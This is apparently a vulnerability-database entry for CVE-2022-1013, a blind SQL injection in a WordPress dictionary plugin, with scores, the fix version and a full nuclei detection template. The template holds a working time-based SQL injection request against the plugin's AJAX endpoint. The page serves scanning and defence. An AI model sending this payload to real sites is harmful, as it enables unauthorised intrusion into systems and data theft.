HexBrain

Browse / CVEs / CVE-2022-1013

CVE-2022-1013· ays-pro / personal dictionary· CWE-89

WordPress Personal Dictionary <1.3.4 - Blind SQL Injection

criticalseverity
9.8CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

WordPress Personal Dictionary plugin before 1.3.4 contains a blind SQL injection vulnerability. The plugin fails to properly sanitize user-supplied POST data before being interpolated in an SQL statement and executed. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Fixed in version 1.3.4.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "text/html") and contains(body, "\"status\":true,")

Run it with nuclei: nuclei -id CVE-2022-1013 -u <target>

The full check
id: CVE-2022-1013

info:
  name: WordPress Personal Dictionary <1.3.4 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Personal Dictionary plugin before 1.3.4 contains a blind SQL injection vulnerability. The plugin fails to properly sanitize user-supplied POST data before being interpolated in an SQL statement and executed. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: Fixed in version 1.3.4.
  reference:
    - https://wpscan.com/vulnerability/eed70659-9e3e-42a2-b427-56c52e0fbc0d
    - https://wordpress.org/plugins/personal-dictionary/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1013
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1013
    cwe-id: CWE-89
    epss-score: 0.07488
    epss-percentile: 0.94529
    cpe: cpe:2.3:a:ays-pro:personal_dictionary:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ays-pro
    product: personal_dictionary
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp,unauth,wpscan,sqli,wordpress,wp-plugin,personal-dictionary,ays-pro,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ays_pd_ajax&function=ays_pd_game_find_word&groupsIds[]=1)+AND+(SELECT+3066+FROM+(SELECT(SLEEP(7)))CEHy)--+-

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "\"status\":true,")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from